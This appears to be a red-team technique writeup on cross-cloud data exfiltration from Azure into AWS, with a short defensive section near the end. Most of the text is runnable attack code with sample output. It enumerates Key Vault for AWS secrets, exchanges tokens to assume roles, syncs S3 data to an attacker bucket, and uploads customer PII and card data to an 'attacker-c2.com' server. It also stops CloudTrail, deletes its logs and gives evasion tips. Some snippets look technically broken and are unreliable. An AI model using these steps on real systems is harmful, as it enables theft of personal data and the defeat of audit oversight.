| Attribute | Details |
|---|---|
| Technique ID | REALWORLD-046 |
| MITRE ATT&CK v18.1 | T1537 - Transfer Data to Cloud Account |
| Tactic | Exfiltration |
| Platforms | Cross-Cloud (Azure, AWS, GCP) |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | All cloud platforms; cross-tenant federation mechanisms |
| Patched In | N/A (Mitigation requires cross-cloud policy enforcement) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: A Multi-Cloud Data Bridge Attack exploits the interconnectedness of hybrid and multi-cloud environments where organizations operate across Azure, AWS, GCP, and on-premises infrastructure. Adversaries with credentials in one cloud environment (e.g., Azure) can leverage implicit trust relationships, shared identities, cross-cloud federation mechanisms, or poorly segmented network boundaries to escalate privileges and move laterally to secondary cloud environments (e.g., AWS). Once lateral movement is established, attackers extract data from the secondary cloud account and exfiltrate it to attacker-controlled infrastructure, leveraging the “untrusted” secondary cloud provider as an intermediary to evade detection in the primary cloud environment. The attack is particularly effective because:
Attack Surface: Cross-cloud identity federation (OAuth 2.0, SAML, OIDC), service principal credentials shared across clouds, AWS IAM roles assumable from Azure identities, shared storage buckets with cross-cloud access, API gateways bridging cloud environments, and workload identity federation mechanisms.
Business Impact: Complete data compromise with forensic confusion. Attackers can exfiltrate petabytes of data while appearing to stay within the organization’s cloud footprint. Forensic analysis is hindered because the attacker’s final destination is inside a “trusted” cloud provider. Regulatory implications are severe (GDPR, DORA, NIS2) because it’s unclear which cloud provider “owns” the breach.
Technical Context: Typically takes minutes to hours to establish lateral movement across clouds (depending on federated trust setup). Once bridged, data exfiltration can happen at cloud-scale speeds (100s of Gbps). Chance of detection (without unified monitoring): Very low if each cloud provider is monitored independently. Common indicators: Unusual cross-cloud API calls, service principal activity in secondary cloud not normally seen, sudden large data transfers between cloud provider regions/accounts.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | Multi-Cloud: 4.1-4.5 | Controls for multi-cloud security governance |
| DISA STIG | V-87903 | Multi-cloud environments must enforce consistent security policies |
| CISA SCuBA | CS-1, CS-7 | Cloud Service Assessment; Cloud Provider Segmentation |
| NIST 800-53 | SC-7 (Boundary Protection) | Organizations must protect data across cloud boundaries |
| GDPR | Art. 44 (Transfers) | Personal data transferred across cloud providers must be protected equally |
| DORA | Art. 9 (Cross-Cloud) | Financial institutions must monitor lateral movement across cloud providers |
| NIS2 | Art. 21 (Critical Infrastructure) | Operators must maintain visibility across all cloud environments |
| ISO 27001 | A.13.1.3 | Segregation of information assets across cloud environments |
| ISO 27005 | Risk Assessment | Cross-cloud attack paths must be identified and monitored |
Supported Versions:
Tools:
Objective: Identify AWS roles assumable from Azure and establish federation trust.
# Connect to Azure with compromised credentials
Connect-AzAccount -Credential $credential
# List all storage accounts accessible from Azure
Get-AzStorageAccount | Select-Object StorageAccountName, ResourceGroupName
# Check for shared access signatures (SAS) tokens that might provide cross-cloud access
Get-AzStorageAccountKey -ResourceGroupName "rg-name" -StorageAccountName "storageaccount-name"
# Search for AWS credentials stored in Key Vault
Get-AzKeyVault | ForEach-Object {
Get-AzKeyVaultSecret -VaultName $_.VaultName | `
Where-Object { $_.Name -like "*AWS*" -or $_.Name -like "*EXTERNAL*" } | `
Select-Object Name, VaultName
}
# Check for federated identities and cross-tenant configurations
Get-AzADServicePrincipal | Where-Object { $_.ReplyUrls -like "*amazonaws.com*" -or $_.ReplyUrls -like "*aws.amazon.com*" } | `
Select-Object DisplayName, ReplyUrls
What to Look For:
# Using compromised AWS credentials obtained from Azure
aws sts get-caller-identity
# List all IAM roles the current identity can assume
aws iam list-role-tags --query 'Tags[?Key==`TrustRelationship`]' --output json
# Check for cross-account role trust relationships
aws iam get-role --role-name "ExternalAzureRole" --query 'Role.AssumeRolePolicyDocument'
# Look for Principal entries with Azure tenant IDs (e.g., "arn:aws:iam::<account>:root")
# Enumerate all accessible S3 buckets from both accounts
aws s3 ls --profile cross-account-profile
# Check CloudTrail for evidence of cross-cloud API calls
aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRole \
--start-time 2024-01-01T00:00:00Z --end-time 2024-12-31T23:59:59Z
What to Look For:
Supported Versions: Azure Entra ID all versions; AWS IAM all versions
Objective: Discover AWS role that trusts Azure identities.
Command (PowerShell - Enumerate Entra Service Principals with AWS ReplyUrls):
# Find service principals configured to trust AWS
$servicePrincipals = Get-AzADServicePrincipal -All $true
foreach ($sp in $servicePrincipals) {
$replyUrls = $sp.ReplyUrls
if ($replyUrls -match "amazonaws" -or $replyUrls -match "aws.amazon" -or $replyUrls -match "sts.amazonaws") {
Write-Host "Found cross-cloud SP: $($sp.DisplayName)" -ForegroundColor Green
Write-Host "ReplyUrls: $($replyUrls)" -ForegroundColor Cyan
}
}
Expected Output:
Found cross-cloud SP: AzureToAWSBridge
ReplyUrls: https://signin.aws.amazon.com/saml
What This Means:
Objective: Create a forged or intercepted Azure-issued SAML assertion to authenticate to AWS.
Command (Python - SAML Token Interception via Azure SDK):
#!/usr/bin/env python3
from azure.identity import ClientSecretCredential, DefaultAzureCredential
from azure.keyvault.secrets import SecretClient
import requests
import json
# Use compromised Azure credentials
tenant_id = "<azure_tenant_id>"
client_id = "<service_principal_app_id>"
client_secret = "<service_principal_secret>"
credential = ClientSecretCredential(
tenant_id=tenant_id,
client_id=client_id,
client_secret=client_secret
)
# Acquire token that AWS will trust
token_response = credential.get_token("https://sts.amazonaws.com/")
azure_token = token_response.token
# AWS SAML federation typically uses OAuth code exchange
# Attacker extracts the SAML assertion from Azure token response
print(f"Azure Token: {azure_token}")
# Next: Exchange Azure token for AWS temporary credentials
aws_federation_url = "https://signin.aws.amazon.com/saml"
response = requests.post(
aws_federation_url,
headers={"Authorization": f"Bearer {azure_token}"},
data={"SAMLResponse": azure_token}
)
print(f"AWS Federated Login Response: {response.text}")
Expected Output:
AWS Federated Login Response: <form action="https://console.aws.amazon.com/console/home?...">
What This Means:
OpSec & Evasion:
Objective: If the federated identity doesn’t directly access the target AWS account, assume a cross-account role.
Command (AWS CLI - Assume Cross-Account Role from Azure Identity):
# Using credentials obtained from Azure federation (Step 2)
aws sts assume-role \
--role-arn "arn:aws:iam::123456789012:role/AzureToAWSCrossAccountRole" \
--role-session-name "AzureAttackerSession" \
--duration-seconds 3600
# Output will contain temporary credentials:
# AccessKeyId, SecretAccessKey, SessionToken
Expected Output:
{
"Credentials": {
"AccessKeyId": "ASIAZ7EXAMPLEID123456",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
"SessionToken": "IQoDYXdzEBb...[long token]",
"Expiration": "2026-01-10T10:00:00+00:00"
}
}
What This Means:
OpSec & Evasion:
AssumeRole call and all subsequent actions under the session nameObjective: Discover high-value S3 buckets, RDS instances, or other data stores in the target AWS account.
Command (AWS CLI - Enumerate S3 Buckets and Objects):
# Set AWS credentials from Step 3
export AWS_ACCESS_KEY_ID="ASIAZ7EXAMPLEID123456"
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
export AWS_SESSION_TOKEN="IQoDYXdzEBb...[long token]"
# List all S3 buckets accessible
aws s3 ls
# List objects in target bucket
aws s3 ls s3://sensitive-financial-data-bucket/ --recursive
# Get bucket encryption and versioning status
aws s3api get-bucket-encryption --bucket sensitive-financial-data-bucket
aws s3api get-bucket-versioning --bucket sensitive-financial-data-bucket
Expected Output:
sensitive-financial-data-bucket/ [bucket owner: data_team]
financial_reports_2024/
customer_pii/
trade_secrets/
Encryption: {
"Rules": [
{
"ApplyServerSideEncryptionByDefault": {
"SSEAlgorithm": "AES256"
}
}
]
}
What This Means:
Objective: Copy sensitive objects from target S3 bucket to attacker-controlled storage.
Command (AWS CLI - Copy Objects to Attacker S3 Bucket):
# Attacker controls a bucket in a different AWS account (or different cloud entirely)
aws s3 sync s3://sensitive-financial-data-bucket/ \
s3://attacker-exfil-bucket-12345/ \
--region us-east-1 \
--exclude "*" \
--include "customer_pii/*" \
--include "trade_secrets/*"
# Monitor progress
aws s3 ls s3://attacker-exfil-bucket-12345/ --summarize --recursive
Alternative Command (Using Temporary Redirect via Internet):
# If attacker doesn't control secondary AWS bucket, redirect to HTTP exfiltration
aws s3 cp s3://sensitive-financial-data-bucket/customer_pii/ \
/tmp/exfil/ \
--recursive
# Upload to attacker C2 server
curl -F "file=@/tmp/exfil/customers.csv" http://attacker-c2.com/upload
Expected Output:
download: s3://sensitive-financial-data-bucket/customer_pii/customers.csv to /tmp/exfil/customers.csv
upload: customer_pii completed
Total exfiltrated: 45 GB
What This Means:
OpSec & Evasion:
s3:GetObject and s3:CopyObject calls$LATEST version of exfiltrated objects and CloudTrail logs if possibleObjective: Delete evidence from AWS CloudTrail and S3 access logs.
Command (AWS CLI - Delete CloudTrail Events):
# List recent CloudTrail events showing exfiltration
aws cloudtrail lookup-events \
--lookup-attributes AttributeKey=EventName,AttributeValue=CopyObject \
--start-time 2026-01-10T00:00:00Z \
--output json | jq '.Events[] | {EventTime, Username, CloudTrailEvent}'
# Stop CloudTrail to prevent further logging (requires admin permissions in target account)
aws cloudtrail stop-logging --name "OrganizationTrail"
# Delete CloudTrail S3 bucket to purge logs
aws s3 rm s3://cloudtrail-logs-bucket/ --recursive --include "*2026-01-10*"
Expected Output:
Stopped logging on trail: OrganizationTrail
Deleted 847 CloudTrail log files from s3://cloudtrail-logs-bucket/
What This Means:
OpSec & Evasion:
Supported Versions: AKS, GKE, EKS with workload identity federation enabled
This method is increasingly popular because organizations use Kubernetes across multiple clouds and rarely monitor cross-cluster identity flows.
Objective: Escape from a compromised Kubernetes pod and obtain an Azure managed identity token.
Command (Shell - From Inside AKS Pod):
# Check if pod has workload identity assigned
cat /var/run/secrets/workload-identity/token
# Request Azure-managed identity token via IMDS endpoint
curl -X GET "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2019-02-01&resource=https%3A%2F%2Fmanagement.azure.com%2F" \
-H "Metadata:true" \
-H "X-Identity-Header: $(cat /var/run/secrets/workload-identity/token)"
Expected Output:
{
"access_token": "eyJ0eXAiOiJKV1QiLCJhbGc...",
"expires_in": 3600,
"token_type": "Bearer"
}
Objective: Use the Azure token to assume an AWS role configured to trust Azure identities.
Command (Python - Token Exchange across Clouds):
import requests
import json
# Step 1: Get Azure token (from Step 1 above)
azure_token = "eyJ0eXAiOiJKV1QiLCJhbGc..."
# Step 2: Exchange Azure token for AWS temporary credentials
# Assumes organization configured OIDC federation from Azure to AWS
aws_sts_endpoint = "https://sts.amazonaws.com/"
response = requests.post(
f"{aws_sts_endpoint}?Action=AssumeRoleWithWebIdentity",
data={
"RoleArn": "arn:aws:iam::123456789012:role/AzureKubernetesRole",
"RoleSessionName": "KubernetesWorkload",
"WebIdentityToken": azure_token,
"DurationSeconds": "3600"
}
)
# Extract AWS credentials from response
import xml.etree.ElementTree as ET
root = ET.fromstring(response.text)
aws_key = root.find(".//{https://sts.amazonaws.com/doc/2011-06-15/}AccessKeyId").text
aws_secret = root.find(".//{https://sts.amazonaws.com/doc/2011-06-15/}SecretAccessKey").text
aws_session = root.find(".//{https://sts.amazonaws.com/doc/2011-06-15/}SessionToken").text
print(f"AWS Credentials Obtained: {aws_key}")
What This Means:
Objective: Query sensitive database from the compromised Kubernetes pod.
Command (Python - RDS Access from Kubernetes):
import boto3
import pymysql
# Use credentials obtained in Step 2
rds_client = boto3.client(
'rds',
aws_access_key_id=aws_key,
aws_secret_access_key=aws_secret,
aws_session_token=aws_session,
region_name='us-east-1'
)
# List RDS instances
instances = rds_client.describe_db_instances()
for db in instances['DBInstances']:
print(f"Found RDS: {db['DBInstanceIdentifier']} ({db['Engine']})")
# Connect to RDS database
connection = pymysql.connect(
host="customer-data.region.rds.amazonaws.com",
user="admin",
password="<password_from_secrets_manager>",
database="customers"
)
cursor = connection.cursor()
cursor.execute("SELECT customer_id, email, ssn, credit_card FROM pii LIMIT 10000")
results = cursor.fetchall()
# Exfiltrate to attacker C2
for row in results:
exfil_request = requests.post(
"http://attacker-c2.com/collect",
json={"data": row}
)
What This Means:
Microsoft.Authorization/roleAssignments/write (granting new roles to service principals)GenerateSAS or ListAccountSas (creating temporary access tokens)AssumeRole from unusual principals (e.g., from Azure service principal ARNs)s3:GetObject / s3:CopyObject for sensitive buckets accessed by cross-account rolesStopLogging / DeleteTrail (covering tracks)kubelet API access from within pod)# Immediately revoke all federated trust relationships
aws iam delete-role-policy --role-name AzureToAWSCrossAccountRole --policy-name assume-policy
# Revoke Azure service principal credentials
az ad app credential delete --id <app-id>
# Invalidate all active sessions for assumed role
aws iam delete-role --role-name AzureToAWSCrossAccountRole
Enforce Strict Cross-Cloud Identity Segmentation: Each cloud should have isolated service principals with minimal trust relationships.
Manual Steps (Azure PowerShell):
# Create isolated service principal for AWS-specific workloads
$sp = New-AzADServicePrincipal -DisplayName "AzureToAWSBridge-Isolated"
# Restrict reply URLs to ONLY AWS endpoints
Set-AzADAppKeyCredential -ObjectId $sp.Id `
-ReplyUrls @("https://signin.aws.amazon.com/saml")
# Assign MINIMAL permissions (not Owner or Contributor)
New-AzRoleAssignment -ObjectId $sp.Id `
-RoleDefinitionName "Custom-MinimalCrossCloudAccess" `
-Scope "/subscriptions/<subscription-id>"
Implement Conditional Access for Cross-Cloud Federation:
Manual Steps (Entra ID):
Restrict Cross-Cloud FederationEnable Cross-Cloud Unified Audit Logging: Forward Azure, AWS, and GCP logs to centralized SIEM.
Manual Steps (Azure + Sentinel):
# Configure Azure to export activity logs to Log Analytics
New-AzDiagnosticSetting -ResourceId "/subscriptions/<sub-id>" `
-Name "CentralAuditLog" `
-LogAnalyticsWorkspaceId "/subscriptions/<sub-id>/resourcegroups/<rg>/providers/microsoft.operationalinsights/workspaces/<workspace>" `
-Enabled $true
Manual Steps (AWS to Sentinel):
AssumeRole callsRestrict IAM Cross-Account Role Assumption: Whitelist only specific Azure service principals that should assume AWS roles.
Manual Steps (AWS IAM Policy):
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<azure-trusted-account>:role/AzureToAWSBridge"
},
"Action": "sts:AssumeRole",
"Condition": {
"StringEquals": {
"sts:ExternalId": "unique-external-id-12345",
"aws:SourceIp": "203.0.113.0/24"
},
"StringLike": {
"sts:RoleSessionName": "LegitimateService-*"
}
}
}
]
}
Implement Workload Identity Federation Rate Limiting:
Manual Steps (Azure Policy):
AssumeRoleWithWebIdentity calls# Check for cross-cloud federated trust relationships
aws iam list-roles | jq '.Roles[] | select(.AssumeRolePolicyDocument.Statement[].Principal.AWS | contains("?"))'
# List all AssumeRole session names used in past 7 days
aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRole \
--start-time $(date -d "7 days ago" +"%Y-%m-%dT%H:%M:%S") | jq '.Events[].CloudTrailEvent | fromjson | .requestParameters.roleSessionName' | sort | uniq -c
Expected Output (Secure):
No cross-cloud federated principals found
All AssumeRole sessions from expected service accounts
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [T1190] Exploitation for Initial Access | Compromise Kubernetes pod or Azure App Service |
| 2 | Privilege Escalation | [T1134] Token Impersonation | Escalate from pod to managed identity |
| 3 | Lateral Movement | [T1550.001] Pass-the-Token | Use Azure token to assume AWS role |
| 4 | Discovery | [T1526] Cloud Service Discovery | Enumerate AWS resources from Azure identity |
| 5 | Exfiltration | [REALWORLD-046] | Transfer data across cloud boundaries |
| 6 | Defense Evasion | [T1562.008] Disable Cloud Logs | Delete CloudTrail and Azure Activity Logs |
| 7 | Impact | [T1565] Data Manipulation | Modify records to hide exfiltration |